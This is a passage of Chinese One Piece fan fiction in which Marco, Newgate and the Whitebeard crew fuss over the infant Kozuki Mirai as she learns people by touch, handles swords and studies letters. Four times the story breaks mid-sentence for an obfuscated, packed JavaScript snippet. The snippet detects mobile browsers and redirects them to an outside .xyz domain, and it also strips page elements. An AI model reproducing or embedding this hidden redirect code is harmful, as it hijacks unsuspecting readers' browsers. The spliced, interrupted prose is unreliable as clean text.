大家越想越心酸：“马尔科，未来也会主动找你帮忙包扎伤口吗？” “说什么呢！” 马尔科严肃道：“我不会让未来受伤的yoi。” 4. 滴滴和乒乒 光月未来发现，最近周围的人冲她散发出来的气息都很奇怪。 是的，气息，和周围的人。 人永远无法分辨出之前从未见过的东西，光月未来实际上根本不知道她到底在哪里。因为上辈子从来没有看见过别人的脸，一直依靠着“气”和抚摸来认识世界的她，自然也无法分辨周围人那些奇奇怪怪的嘴角和眼角，到底算不算正常。 好吧，如果她能看出来那是“奇奇怪怪的嘴角和眼角”的话。 不过好在，未来能感觉到，周围的人对她没有丝毫恶意。所以孩子能肆无忌惮地在船上爬行，打开某扇门，或者抚摸某个凹槽。虽然她根本不知道这些都是什么。 但是——“在认识人之前，首先要学会抚摸物品。” 未来认为这是接受这个世界最好的顺序。 “未来，你喜欢这个吗？看，木头做的小猫。” “还有小狗！” 马尔科带着好不容易雕刻完成的木头不死鸟回来时，恰巧看到船上那群家伙每人都背着一袋玩具，正围着光月未来卖力推销自己。 被抢了先让他感到生气，仗着幻兽种爪子够大，马尔科一脚掰开挡在面前的几条腿硬挤进去，张开双臂，像老母鸡护崽那样挡住光月未来。 “想干什么你们这些学人精，未来只喜欢我的玩具yoi。” “不要这么小气马尔科。”被他挡住的人不甘心地探头探脑，“未来是大家的妹妹/侄女！” 马尔科没有让开，反而皱着眉头打量他们。 海贼们对视一眼，干脆破罐子破摔：“我们也想要被未来喜欢！” “就是就是！我们也想在未来下次有需要的时候，被认为是可以依靠的大人。” “御田他包扎的手法太烂了，昨天刚把猫蝮蛇勒得下不了床。我就不一样了，我肯定很温柔。” “让我们和未来玩！马尔科。” “你肯定也喜欢跟我们玩吧，你说对不对？未来。” 比斯塔嘻嘻哈哈把脸挤到光月未来面前，这是个偏向突然的动作，但令人惊讶的是，未来没躲也没怕，她礼貌地拍了拍比斯塔的胳膊，然后低头去翻马尔科带回来的包袱。 在注意到光月未来更喜欢玩她从来没有见过的东西后，马尔科每次出门都尽量给她带回来很多不一样的东西，但是扇贝岛上的物品总有被搜刮尽的一天，即使马尔科已经把船上从其他岛收集到的库存都翻了一遍，新鲜玩意还是一次比一次少。 除了各式各样的木雕外，光月未来拿到一只深绿色的玻璃瓶，里面装满了打磨得光滑的彩色圆珠，玻璃瓶高颈上还被马尔科特地系上了蝴蝶结。 光月未来拿在手里晃了晃。 ——当当当。 光月未来宝贝一样把玻璃瓶和贝壳猴子放到一起，马尔科见状马上抢着：“未来，下次我送给你一只木箱专门用来放玩具吧。” “太卑鄙了马尔科，那是我想说的话。” 马尔科带回来的包袱里已经没有其他新鲜的东西了，海贼们吵吵闹闹得，光月未来爬向她最后一个目标——纽盖特的酒碗。 “嗯？”正在一个人喝酒的纽盖特注意到，一颗团子正在往他这边过来。 光月未来停在距离他一米远的位置，仰头观察这个过分高大的巨人。 眼睛就像手掌，一寸一寸摸上纽盖特的头顶，让纽盖特产生了一种，这个孩子确实是在用手丈量他的错觉。 用手观察世界，简直就像盲人一样。 这样想着，纽盖特低头，努力把视线和她拽平，压低声音询问：“你有什么事，小家伙？” 光月未来碰了碰他放在甲板上的酒碗。 “不不不。”纽盖特把酒碗端起来，端到她够不到的位置，“这个不能给你。” 同时，纽盖特想起马尔科说过，像她这么大的孩子，如果不能拿到喜欢的东西，会用眼泪和胳膊胡搅蛮缠。嗯，好吧，如果她真的胡搅蛮缠的话，那么他是不是应该…… 光月未来意识到，面前的巨人并不喜欢她去触碰他的东西。 这不是很难做到的事，任何人都有不喜欢的东西，未来表示理解。她冲纽盖特点点头，转身爬向光月时的房间。 “呃……”纽盖特张张嘴，纽盖特懵了一会，纽盖特又把酒碗放下了。 “老爹！” 身边突然呼啦啦围过来一堆儿子，每个人脸上都写满了不赞同。 “那是酒。小孩子不能碰酒。”纽盖特尝试着为自己辩解。 “……” “好了！不要这么看着我，我会拿出来别的东西作为补偿的。” 几乎所有人都认为，光月未来已经被纽盖特伤透了心。毕竟在这艘船上，无论她想要什么东西，除了武器之外，还从来没有被拒绝过。 当然，光月未来是个乖孩子，从来没有提出过让人为难的要求。 其中最发愁的竟然是马尔科。 注意到光月未来可能喜欢亮晶晶又会响的玩具，马尔科火速又回了一趟扇贝岛，捉了一兜小螃蟹回来。 这是扇贝岛上特产的沙锤蟹，两只钳子里面装满了白色的沙砾状颗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583396|171606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粒，挥动大钳子的时候，会发出像沙锤一样“沙啦啦”的声音。 “打扰了，时夫人，未来在吗？” 马尔科一手提着螃蟹网兜，一只胳膊抱着说好的木箱，客客气气地敲响了光月时的房门。 跟在父亲和船长的默许下能够满船乱爬的女儿不一样，光月时刚刚生产完，还不到能够随意出门的时候。与其说女儿的身体柔弱，不如说生下女儿的母亲，才是付出最多的那一个。 当面对女性时，尚且年幼的马尔科总是拘谨而有礼的，更何况现在还是在女性的房间。 他端端正正地在光月时和光月御田对面坐好。 光月未来正在摸妈妈的脸。从眉毛，到眼睛，再到鼻子，嘴唇，下巴。 这是之前从来没有发生过的事，往常，光月未来只会触碰物品，这是她第一次对人感兴趣。 而对于光月未来来说，在摸完整个莫比迪克号后，现在已经到了她认识世界的第二个阶段，认人。 马尔科惊讶地“咦”了一声。 就看见光月未来收回手，盯着光月时看了一会，好像已经记住了这张脸，接着，她冲旁边的光月御田伸出胳膊。 “……” 光月御田从妻子怀里接过她，任由光月未来在他脸上胡作非为：“哦、哦，也要摸我吗？未来。” 马尔科拿着一兜小螃蟹坐在旁边，看着光月未来摸完妈妈又摸完爸爸，最后拽住他的衣角。 “……” 光月未来示意他把头低下来。 光月御田：“看来未来很喜欢你，马尔科。” ——未来很喜欢你。 没有比这更让人开心的事情了。 起初，只是老是被人担心的见习船员下面又诞生了一个更需要照顾的婴儿，为了让老爹和怀迪贝明白自己已经长成了靠谱的海贼，马尔科下意识就想通过照顾光月未来来证明自己。 现在，马尔科更倾向于成为一个好哥哥，因为光月未来喜欢他！ 嘀嘀嘀—— 乒乒乓乓！ 沙沙沙~ 夜晚的莫比迪克号上猛然传来这样一阵让人心烦的声音，传出甲板，随着海风飘荡出去老远。气得萨奇一脚踹开了房门。 “吵死了！到底是哪个混球在——” 月光下，马尔科抱着光月未来走到宿舍这边，嘴里叼着一只卷笛，手上摇晃着一兜沙锤蟹，光月未来手里抱着那只贝壳猴子。 两人旁若无人地，一边发出声响一边满甲板乱逛。 “呦，萨奇，晚上好yoi~” 5. 盲人和抚摸 “晚上好，马尔科——等等，不对！” 萨奇谨慎地感受了一下今晚的海风凉度，质问：“你为什么要在这么晚的时间带未来出来？” 马尔科当然有恃无恐：“是未来要出来的。还有，你怎么知道未来今天摸了我的脸？” “谁问你这个了？我是说，现在是她的睡觉时间。” 马尔科：“我是第三个被未来摸过脸的人，也就是说，之后也会是第三个被未来叫出名字的人yoi。” “都说了不是在问你这个！” 马尔科继续说：“你在羡慕我yoi。” 萨奇气急：“谁羡慕你了？到底是谁羡慕你了？！” “未来，我们走。” 乒乒乓乓和嘀嘀沙沙的声音很快走远了，萨奇落在后面想了想，越想越觉得不对劲，马尔科这家伙今天晚上到底是吃错什么药了？ 但是——“我一定会研究出最好吃的宝宝辅食，你给我等着吧马尔科！” 马尔科掏了掏耳朵，大声回他：“听不懂yoi！” 马尔科带着光月未来在甲板上走了一圈又一圈，足足吸满了仇恨值。 这家伙本来就因为有能疗伤的功效抢先在光月未来那里刷了一波存在感，捞到帮忙带孩子的活计不说，现在又成为了继父母之后第三个被未来摸过脸的人。 说不定，之后真的会被第一个叫名字。 “这不公平，明明大家都是哥哥/叔叔！” “老爹，你难道真的能忍下这口气吗？” 纽盖特瞥了一眼愤愤不平的儿子们：“咕啦啦啦啦，像这种幼稚的游戏，你们自己玩就行了，不用带上我。” “啊，还有我。”光月御田咬着毛笔安排女儿未来的训练计划，虽然一个月把孩子训练好是不可能了，但是到下一座岛的航程少说也还有几个月时间呢，只是忍受海上的风浪而已，他的女儿一定可以的。 “反正未来第一次叫的一定是我跟阿时的名字。” “不行，我们不能就这么等着！” “怎么说，乔兹？”比斯塔把手臂搭在乔兹肩头，凑近问，“需要搭个伙吗？这么说，上次你从海里捡的球还没有还给未来吧？” “不用了，未来她只是在认人而已。”乔兹拒绝比斯塔，刚才还在叽叽喳喳的海贼马上停下来看他。 “接着说，乔兹。” “你的意思是，她也会摸我们的脸吗？” 乔兹看了看光月御田，对方正在奋笔疾书，似乎对他接下来的话丝毫不感兴趣。 “或许是我看错了，但是，”乔兹迟疑道，“但是未来使用的，很像盲人的认人方式。” 甲板上安静了一会。 “……会不会，是你看错了。”大家偷觑光月御田，小心提醒乔兹。 “也可能是未来不小心翻到了马尔科带回来的书，那家伙前几天不是刚洗劫过岛上的书店吗？” 乔兹终于意识到自己说错了话，呐呐找补：“啊、啊，当然，也有可能是我记错了。我不是那个意思，御田。” 但是光月御田一点也不在意，反而抬起头夸他：“盲人吗？这可真是有趣的比喻。” “那个，御田……” “不过，”光月御田托着下巴，满脸自豪道，“不论那个孩子做出什么样的举动我都不会感到惊讶。小孩子的脑袋里，总是存在着各种离奇有趣的想法，正是因为对世界感到好奇，才会启航冒险不是吗？” “更何况，她还是我和阿时的孩子。” “咕啦啦啦啦，这个想法还真是了不起，御田。” 纽盖特接口后，接下来就是光月御田和船长的私人谈话时间，其他人自觉地三三两两离开，乔兹懊恼地挠了挠头发，这个质朴的大块头看上去还想说点什么，被比斯塔一胳膊拐走。 “拜托，兄弟，”比斯塔垮着脸，“我们去干点别的，去喝一杯怎么样？” “知道吗，猫蝮蛇和犬岚看上去很想跟你比划两下。” 自从在乔兹那里听到“盲人”这个说法后，船上的大家都开始有意观察起光月未来的一举一动。倒不是因为真的信了这个荒谬的说法，大家伙儿只是单纯的想要被摸脸。 虽然他们自认为已经很隐蔽了，但是在未来眼里，这简直就和直接怼脸看没有区别。 仔细想想，好像从她可以睁开眼睛开始，船上的人就一直在看她。但为什么只是呆在远处看着呢？为什么不像马尔科和爸爸妈妈那样过来摸摸她的头呢？ 如果说“拥抱”和“抚摸”代表着亲昵，那这样的距离和动作，或许是这里独特的待人礼节？ 好吧，光月未来不觉得她周围都是些无礼之人，那就只能是礼节了。 光月未来学着他们的样子，两边嘴角往上扯，露出没有完全长出牙的牙床，弯眼睛，发出“嘿、嘿”的声音——这一点是通用的，没有因为语言不通就听不懂。 马尔科正在整理光月未来的玩具，把那只木头不死鸟摆放在正中间的位置，一扭头：“未来，你为什么露出这么傻的表情yoi？” 听到声音，光月未来突然想到，她应该给一直照顾她的马尔科道个谢。 光月未来拍拍马尔科的腿——这是她自己的礼仪，之后咧开嘴：“嘿、嘿。” 马尔科一瞬间惊悚。 在生气的马尔科再次一脚踹飞一个妄图把没有洗过的玩偶塞进光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583397|171606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月未来手里的海贼后，他终于意识到船上缺了点什么。 “育儿室！对了，一定是因为没有育儿室。” 马尔科咬牙切齿：“一定是因为缺了专门的育儿室，未来才会被你们这些家伙带坏。” “拜托不要再让她露出那么傻的表情了，到处嘿嘿傻笑的家伙只要有你们这群就够了yoi。” “怎么能这么说呢，马尔科。”大家早就不满了，“学会随时放声大笑，这是海贼必备的美德。” “更何况，我们还有其他能教给她的东西。” 当！地一声，从每一只口袋里翻出来的育儿手册小山一样堆满了这片甲板。 “看呐，我们也不是完全不看书的。” 就在大家指着那堆书得意洋洋的时候，原本乖巧呆在马尔科怀里玩玩具的光月未来突然“刺溜”一下顺着他的裤脚滑下来，手脚并用钻进书堆里，拿出来一把——匕首。 嘻嘻哈哈的声音停止了。 有人生气道：“是谁把刀带过来的！不知道这么小的孩子不能碰武器吗？” 这里几乎每个海贼都是玩武器的高手，为了方便奔跑躲避，以及应对随时可能到来的战斗，他们的刀鞘都设计得非常精巧。刀鞘和刀柄固定的地方有一个小搭扣，平时不容易脱鞘，但是使用时轻轻一按就能抽刀。 “没关系没关系。”带来匕首的海贼心惊胆战，蹲下哄着光月未来把刀还给他，“我的搭扣藏得很隐蔽，未来她不一定……” 唰—— 一抹寒光拉长直射过他的眼睛，让他未说完的话突兀地噎在喉咙里。 “不一定能、嗯，打开。” 光月未来握住刀柄，兴致勃勃地挥舞着匕首，眼睛里迸发出奇异的色彩。 孩子的手腕堪称灵活地转了转，马尔科他们甚至能在那似乎随意的比划里，看出几分剑技的影子。 灵巧、锐利、像火山熔岩压迫下的迅疾海风，倏忽间扫荡过陆地。 “未、未来，她在哪里学的剑术。” 这一手未免太过娴熟，放在一个连武器都特意被剥夺了见面机会的幼小孩子身上实在是不可思议，一时间，周围的海贼们愣愣地看着光月未来玩刀，竟然没有一个人反应过来上前阻止。 光月未来越玩越起劲，她已经很久没有握过刀了，这种沉甸甸的、交织着冷意和铁锈味的气息，让属于继国和光月的血脉燥热鼓动着。 她似乎马上就能砍杀一点什么，或许是鬼，也或许是别的东西。 直到光月御田握住她的手。 “未来。” 他蹲在光月未来面前，直视孩子那双眼睛，笑着问她：“你喜欢刀吗？未来。” 6. 天羽羽斩和阎魔 喜欢的。 很久很久之前，未来有过一把小木刀，那是继国缘一送给她的第一件礼物，也是她学习日之呼吸的起点。 我，听不懂你的话。 光月未来摇摇头，指指自己的耳朵。 所以，等我学会说话之后，再跟你交流好不好？ 光月未来严肃地发现，自己似乎有必要把学习语言提上进度了。 显然，光月御田也看不懂光月未来的比划，但这不妨碍他能猜到。 “哦！那么现在就开始学习御田二刀流吧！” 周围的海贼们终于反应过来，听到这种混账话，忍不住吐槽：“喂，太早了吧！” “这个对你太危险了，未来，不如就先交给爸爸……”光月御田去抽光月未来手里的匕首，拽了一下，没拽出来。 光月未来死死攥着匕首，瞪大无辜的眼睛盯着他。 “交给爸爸。” 光月御田继续抽，还是抽不动。 “执拗的本事怎么能用到这种地方？” 光月御田佯装使劲，额角蹦出青筋，实际上所有的力气都落在了捏着刀刃的那两根手指上，刀刃咯吱咯吱，很有崩裂的倾向。 光月未来跟她第二个爹拔河，就是不松开。 不要！这是好不容易才拿到的刀，等她松手之后，就再也不会有了！ “听话，未来，我会给你第二把好刀。” 听不懂，她一点都听不懂。 “轻一点，御田！孩子是要靠哄的！哄的！” “那就这样好了。” 光月御田苦恼地摸了摸下巴，解下腰上的天羽羽斩和阎魔塞给她，商量着。 “我用这两把刀换，总可以放手了吧。” “喂喂，是天羽羽斩和阎魔啊。” “明明这两把刀要更危险才对吧！” 摸到真正的武士刀，光月未来果然丢下那把匕首，紧紧捞过两把刀抱进怀里，握住其中一把刀的刀鞘，想把刀抽出来。 可是，那两把刀上似乎充斥着一股阻力，阻止她把刀从刀鞘里抽出来。 趁着女儿松手，光月御田眼疾手快把匕首收进刀鞘丢还给主人。得逞之后，这家伙相当得意地伸手揉光月未来的头发，把那一点红毛弄得乱糟糟的。 “怎么样，未来，这两把可不是那么容易出鞘的刀。不过，能够在触碰这两把刀时不露出恐惧的神色，就已经很了不起了。” “好了，好了。”光月御田举起女儿让她坐在肩膀上，孩子惊了一下，握住他的耳朵。 “接下来是父亲的训练时间。” 马尔科不甘落后喊：“未来！哥哥接下来会给你打造一间超——级漂亮的育儿室的！你马上就能住进去yoi。” “还有叔叔！” “混蛋，你那算什么，叔叔我有更好的东西。” 纽盖特坐在船头，低头看着底下闹闹哄哄的一团，怀迪贝替他倒上酒：“怎么样，老爹，未来很受欢迎吧。” “咕啦啦啦啦，确实，船上很久没有这样热闹过了，毕竟是新奇的小孩子。” 怀迪贝点点头：“对，所以就连我们的船长也有送礼物的打算。” 纽盖特瞥她，怀迪贝继续说：“等未来再长大一点，应该就能陪您一起吹海风了，到时候，您也不必再担心伤到她。话说回来，对了，送到岛上的羊毛快加工好了，需要我替您去一趟吗？” “呃，嗯，”纽盖特目光游移，被戳破心思，有些尴尬，“那就麻烦你去一趟吧。” “听着，未来，在开始学习御田二刀流之前，你首先、首先，嗯，” 光月御田把记事本子翻得哗哗响，看完啪的一下合上，继续说：“首先，你要学会走路。” “现在捉住我的手，站起来。” 光月未来正在专心摸刀鞘上的花纹，眼前突然出现了一只大手，她抬起眼睛，奇怪地看向一脸期待的光月御田。 要干什么？握手吗？ 光月未来伸手握住光月御田一根食指，左右晃了晃。 “不是，不是，未来。是站，站——就像这样。” 意识到女儿完全曲解了自己的动作，光月御田干脆坐下，拉住天羽羽斩一边剑鞘让她看他，然后用手撑地，慢慢站起来。 “这次看清楚了吗，未来。就像这样跟着我站起来，跟我学。” 光月御田又重复了几次坐和站的动作，看着看着，光月未来逐渐明白了他的意思，她叹了口气。 “怎么了，未来？” 光月未来指了指自己的腿，摇头。 她站不起来。 刚学会爬的时候，她就已经尝试过了。 虽然现在的身体比起之前确实强壮到让人惊讶，但是长时间呆在轮椅上，无法走路的习惯已经形成了记忆。光月未来并不懂那是一种什么记忆，但是—— 她指了指自己，然后点点头。 虽然现在还不行，但我会努力的，爸爸。 练习站立的计划因为光月未来的心理原因不得不暂且告一段落，但初次尝试失败没有击垮光月御田的信心。 第二天，他带着阎魔——另一把抢不过来，上岛了。 “我去给未来削一把木刀。” 天羽羽斩和阎魔一样，是一把危险的刀。 所谓没有一定的觉悟就无法使用，船上的大家本来还提心吊胆，但当发现光月未来根本拔不出刀刃，光月御田也是一副纵容的态度后，也渐渐放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583398|171606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松了警惕。 毕竟还有一周莫比迪克号就要启航了，大家都有自己的事情要干。 “这可真是个大问题呀yoi。” 马尔科抓了抓他的朋克头，抱胸皱眉盯着光月未来。 光月未来刚从熟睡的母亲房里出来，一只手拽着天羽羽斩的下绪，但是对于孩子来说，大快刀太长太重了，刀鞘拖在地上磕碰了一下，发出“当”的一声金属振鸣声。 ！ 她刚刚，好像做了一件坏事……对武士来说绝顶的坏事。 光月未来瞬间吓得不敢再动，维持着爬行的姿势，缓慢转过头，费劲儿托起大快刀，摸摸磕碰到的地方，凑近吹吹，把刀鞘贴在耳朵上听刀的声音。 她什么都没有听到。 这是一把骄傲的刀，从来都不屑于搭理尚且弱小的生命，即使她把它磕碰到了地上。 但是，以这样的方式对待一把刀，无论它是什么刀，对于武士来说都是及其失格的行为。 光月未来又摸了摸天羽羽斩的刀鞘。 不能再这样了，她得垫点东西。 马尔科探过头自荐：“需要我帮忙吗yoi？” 光月未来折回房间，拖出来一个超长的垫子。 马尔科看着她把天羽羽斩放到垫子上：“yoi~你已经找到办法了啊。” “嗯？这是——要去我的房间吗yoi？” 光月未来拽了拽他的衣角，示意马尔科把她放到房间地毯上，大快刀安置在身后，专心刨着马尔科搬过来的一堆玩具。 “你好好玩yoi，育儿室马上就要完工了，我先去看看。” 马尔科揉了揉光月未来的头发，起身离开。 房门敞开着，因为担心屋里会发生紧急情况。 被留下来的光月未来很快从玩具堆最里面找到一本书。 马尔科一向是个井井有条的海贼，或许还有点洁癖，这应该是他归类玩具时不小心混进去的，也或许是特地放在这，为了之后给光月未来进行早教。 光月未来耐心辨认了一会封皮上的文字：M…My……，发现跟马尔科平时会看的书上面的符号一模一样。 总之，现在这本书被她借用了。 光月未来从口袋里掏出一只奶嘴，那是光月御田买给她的，放在地毯上最显眼的位置作为抵押，接着把那本书好好放在毯子上，天羽羽斩旁边。 她捏着毯子一角，拖着两样东西悉悉索索从敞开的大门里爬了出去。 第一个找的人是光月时，想让她教她认字。 但是，妈妈在睡觉，爸爸在砍树，经常带她的大哥哥在雕刻木头。 光月未来想了想，拖着毯子朝甲板上唯一一个闲人进发。 7. 认字和家人 纽盖特又察觉到了，自上次的酒碗事件后，那颗团子再次向他爬过来。 不过这次她不是一个人过来的，她还拖家带口，带来了一把大快刀和一本书。 纽盖特下意识就想离她远点。 这时，他想起了怀迪贝的话：“老爹，经常拿冷脸对孩子，可是会让她对大人感到失望的。而且未来现在已经可以吹一点风了。” “……”纽盖特低头看她：“你有什么事吗？小家伙。” “不对，我忘了，你听不懂。” 光月未来哼哧哼哧爬到巨人盘起的腿边，他身上的每一块肌肉上都充斥着难以言说的爆发力。光月未来能感觉到，这个人，无疑是这里的最强者，而他搭在腿上的手，一把可以包裹住一整个她。 奇怪的是，巨人正在为她的靠近感到紧张。 为什么呢？正常来讲，体型是非常了不得的优势，就像老虎不会因为兔子的接近感觉受到威胁，应该是她害怕他才对。 她拍了拍他的腿，示意他放松下来。 “你在安慰我？”爱德华·纽盖特的语气有些古怪，须臾，他就明白了什么，眼中涌现出一点兴味。“咕啦啦啦，真是个敏锐又奇怪的孩子。” 当然，也只有一点而已。这片海域每年都会诞生很多刚生下来就能隐约感知到霸气的孩子，光月未来表现出的敏锐，还远远够不到顶尖那一批。 纽盖特乐意和她聊聊，以语言加动作的方式：“说说你来这的要求，小家伙。” 光月未来举起一本书，有她的脸那么大。 纽盖特微微弯腰：“让我看看——My family？” “看来是想学认字。” 光月未来指着其中一个字母，张嘴：“啊。” “不是‘啊’，”纽盖特纠正她，“是‘M’，‘M’。” “哎、哎、呣……M！” “咕啦啦啦，不错，很标准。看这个，‘y’。”纽盖特指着封皮上M后面的y，那个字母还没有他的一只小指甲盖大。 “唔、唔、y！” “你学得很快，那么接下来，”纽盖特说，“My family。” 光月未来盯着他。 “怎么不读了，小家伙？” 光月未来还是盯着他。 “好了我知道了。”纽盖特把书摊到膝盖上，示意光月未来也坐上来，翻开第一页，“我们先来一个一个学习字母。” “这个念‘A’。” “老爹那边是在干什么？” 被迫抓过来当劳动力的比斯塔——好吧，可能也没有那么被迫，嘴里叼着钉子，正用他精湛的剑术雕一块小蔷薇床靠，虽然很多人都已经强调过很多遍，要雕刻成灰熊/白鲸/青蛙/不死鸟/流星锤……那样的，但是管他们呢。 比斯塔吹了吹落在手指上的木屑，和旁边同样埋头苦干的乔兹搭话：“老爹在教未来认字？不是吧——话说你在刻什么？” “新月和太阳，未来出生的那天，正好是新月和朝阳交替的时候。” “观察得真仔细。” 比斯塔转动匕首的动作一顿，凑过来指着角落里石头一样的图案问：“那这个呢？” 乔兹瞪了他一眼。 “哇哦~”比斯塔坏心眼，“是你呀。” 光月未来用一上午的时间学会了26个字母，纽盖特教给她的第一、第二个单词，一个是“my”，一个是“fmily”，连成短句就是：“My fmily。” ——我的家人。 纽盖特神色莫名地翻着这本书，真不知道到底是有意还是无意。 “马尔科那个小子……” “阿嚏！” 正挤在木头里使劲刨的马尔科，结结实实地打了个喷嚏。 透过舱门看了眼天色：“已经到吃午饭的时间了yoi！未来——” “别喊了，未来正在跟老爹识字。” “未来今天中午想吃什么？还要羊奶粉吗？” 怀迪贝相当熟练地烫好奶瓶，萨奇放进羊奶粉，怀迪贝倒水，萨奇接过奶瓶，用调酒的赏心姿态快速冲泡好，递给坐在吧台前的光月时。 “非常感谢，萨奇先生，怀迪贝小姐。” “时夫人，从一个专业厨师的角度出发，我认为现在可以适当喂未来一点宝宝辅食。” 萨奇一边忙着把食物砸到海浪一样不断涌过来的海贼们脸上，一边抽空和光月时搭话。 “其实我还是一名营养师，健康管理师，调酒师——我是说，专业冲奶师。” “你说了不算，萨奇。”怀迪贝才不管他私人总结的经历有多辉煌，“这种事情，还是应该问问贝蒂医生。” “如果你是说给未来接生的那个女医生的话，”一个海贼嘴里塞了满满当当的贝肉披萨，扭过头来插嘴，“今天早上，就是老爹教未来认字的时候，贝蒂医生来过附近。” 那位在扇贝岛当了二十多年妇产科医生的女士，在观察过光月未来的成长速度后，今早来时感慨道：“扇贝岛果然还是封闭的小岛，我从来没有见过成长得这样快的孩子，她的身体已经不能用强壮来表示了。或许你们都是这样长大的，海贼的经验更适合她也说不定。” “总之，希望你们能找到合适的养育方法。” 他说完，耸耸肩：“就是这样了。” “也就是说，拉克约。”萨奇一把薅住他的衣领子，询问，“未来现在能吃辅食了，对吧？” “啊，哦，应该吧，其实我也不……” 衣领子上一股大力袭来，在在旁边吃东西的同伴们看热闹不嫌事大的叫好声中，拉克约被萨奇拎着领子搬进了吧台。 “我现在需要去整理一下食谱，拉克约，就由你来帮我分发午饭。” “哦！哦！拉克约，我需要再加一张牛肉馅饼！” “牛肉太难吃了，麻烦给我浆果和贝肉。” “还有这里！这里！一块香煎马鱼。” 在周围热热闹闹的用餐氛围中，光月未来咕噜咕噜喝完奶，头埋进仍在用餐的母亲怀里蹭了蹭，在光月时和怀迪贝的轻笑声中，顺着母亲的腿爬下餐椅，拉着天羽羽斩往纽盖特的方向爬过去。 食堂现在24小时通风，墙壁临时贴上了禁止抽烟的标识，海贼们小口喝着酒，侧头去看光月未来，顺便帮忙挪开障碍物。 “咕啦啦啦，我在用餐。” 纽盖特面前的餐桌上堆叠着小山一样高的盘子，刚重新端上一大块带骨肉，他还没来得及动刀叉，就注意到光月未来正在看他。 纽盖特的表情一瞬间变得很为难：“你……” 光月未来拍拍他的小腿。 “不要催我。” “你总得让我吃饱饭，小家伙。”他尝试着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583399|171606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讲道理。 光月未来看看他盘子里的肉，又看看他好像不管塞进多少食物都永远没有变化的肚子，扯过垫子，在大快刀旁边坐好。 她意识到他还没有吃饱，没关系，她可以在旁边等着。 孩子看向他的眼睛又黑又亮，像有阳光在里面跳动，纽盖特伸出手，原本想像儿子们一样去摸摸她的头，但是伸到一半，又收了回来。 纽盖特安慰她：“不会让你等太久的，小家伙。” “真是有礼貌的孩子。拿着，未来，这是叔叔送给你的第21件礼物。当然，已经好好洗过了。” 趁着护崽子的马尔科不在，在一边吃饭的海贼们左右看了看，又开始往光月未来手里塞东西。 光月未来从口袋里掏出几颗亮晶晶的石子回赠给他们。 “嘘，这件不要告诉马尔科。就是那个菠萝头。” 为了拥抱香香软软的妹妹，菠萝头在做完木工活之后，有好好去洗澡洗衣服。 但是，一直到大家结束午饭，把除了马尔科的那一份全部吃进肚子里后，他才拎着一大桶海草贝壳从澡堂里冲出来，头发湿哒哒的，还在往下滴着水。 “到底是谁yoi！”莫比迪克号的不死鸟这样大吼，“到底是谁在澡堂的下水道里塞满了海草，害得我连午饭都没来得及吃！还是超浅滩的海草，一点技术含量都没有yoi！” 拿到光月未来赠礼的海贼们捂着口袋佯装镇定路过，还要跟着马尔科一起大骂两声自己：“就、就是，到底是哪个混蛋。” “认真看书，小家伙。” 甲板上，避风又能晒到太阳的地方，纽盖特无视儿子们的幼稚吵闹，翻开一页书：“你想先学哪个词？” 这是一本关于家庭的书，里面有爸爸、妈妈、爷爷奶奶以及兄弟姐妹，但是没有光月御田，没有光月时，也没有任何一张她看过摸过的脸。 这不是“家庭”。 光月未来伸出食指，在敞开的书页上画了一个椭圆，类似于蘑菇盖那样的图案。 纽盖特隐约猜到她想要什么。 “拿着，小家伙。”他递给她一支笔，“用这个画。” 光月未来画了一个蘑菇头顶和一张方脸，以及两边往下压的下巴，她停了一下，后续纽盖特接过笔，给画添上眉毛、鼻子和眼睛。 “是这样吧，咕啦啦啦啦~” 光月未来仔细看完这张画像，肯定点头。 “想认识他？这是光月御田，你的父亲。” “来，跟我念，‘dad’。” “D……” 想到什么，光月未来闭上嘴巴，又在纸上画了一双大大的眼睛，里面还有闪闪的光点。 这次纽盖特很快明白：“光月时，你的妈妈。” “Mom。” 一个菠萝头。 “马尔科，让我想想你该叫他什么——elder brother。” 一个戴帽子的女性，一个有脑袋的方块，一个扎马尾的家伙，一个长着海草头发的人，厨师帽，猫咪，狗…… “Elder brother . Elder sister . Uncle 